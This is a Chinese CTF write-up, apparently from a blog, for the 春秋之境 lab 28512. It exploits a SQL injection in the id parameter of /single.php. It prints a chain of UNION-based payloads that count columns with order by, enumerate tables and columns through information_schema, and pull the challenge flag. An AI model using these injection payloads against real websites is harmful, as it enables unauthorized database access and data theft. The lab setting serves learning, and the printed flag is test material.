春秋之境28512

题目说该CMS的/single.php路径下,id参数存在一个SQL注入漏洞。访问看一下随便点一个图片。

发现了注入点?id=

那么开始查看闭合符一个 ' 就报错了

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1

分析一下就知道就是一个 ' 并且过滤符#被过滤了

所以用 --+ 或者 ;%00 来过滤后面

用 order by 数字 来判断字段发现order by 9成功

order by 10报错,所以字段就是9个

使用payload:?id=-1' union select 1,2,3,4,5,6,7,8,9 ;%00

发现第2个位置有回显

?id=-1' union select 1,database(),3,4,5,6,7,8,9 ;%00

爆出数据库ctf

试了很多写法最后还是发现payload为:?id=-1' union select 1,table_name,3,4,5,6,7,8,9 from information_schema.tables where table_schema='ctf';%00

爆出表名titles

?id=-1' union select 1,column_name,3,4,5,6,7,8,9 from information_schema.columns where table_schema=database() and table_name='titles';%00

接着爆字段,发现爆出来的东西没一点关系(表爆出了一个没用的)

构造payload

?id=-1' union select 1,table_name,3,4,5,6,7,8,9 from information_schema.tables where table_schema=database()limit 10,1 --+

查看后面的表名

从limit 0,1 一直到limit 13,1

一共有14个表

分别为titlespage_hitsmembership_userpermissionsmembership_groupsblog_categoriesmembership_userrecordsmembership_userseditors_choiceblogslinksflagbanner_postsmembership_grouppermissionsvisitor_info

毫无疑问就flag最像了

接着便是查字段

?id=-1' union select 1,column_name,3,4,5,6,7,8,9 from information_schema.columns where table_schema=database() and table_name='flag' --+

查内容

id=1' and 1=2 union select 1,flag,3,4,5,6,7,8,9 from flag --+

flag{218405b4-7dcd-4f19-8b07-7aec5b843a21}

相关推荐
-SGlow-2 小时前
MySQL相关概念和易错知识点(2)(表结构的操作、数据类型、约束)
linux·运维·服务器·数据库·mysql
明月5663 小时前
Oracle 误删数据恢复
数据库·oracle
终焉暴龙王4 小时前
CTFHub web进阶 php Bypass disable_function通关攻略
开发语言·安全·web安全·php
♡喜欢做梦5 小时前
【MySQL】深入浅出事务:保证数据一致性的核心武器
数据库·mysql
遇见你的雩风5 小时前
MySQL的认识与基本操作
数据库·mysql
dblens 数据库管理和开发工具5 小时前
MySQL新增字段DDL:锁表全解析、避坑指南与实战案例
数据库·mysql·dblens·dblens mysql·数据库连接管理
weixin_419658315 小时前
MySQL的基础操作
数据库·mysql
百川5 小时前
Apache文件解析漏洞
web安全·apache
不辉放弃6 小时前
ZooKeeper 是什么?
数据库·大数据开发
Goona_6 小时前
拒绝SQL恐惧:用Python+pyqt打造任意Excel数据库查询系统
数据库·python·sql·excel·pyqt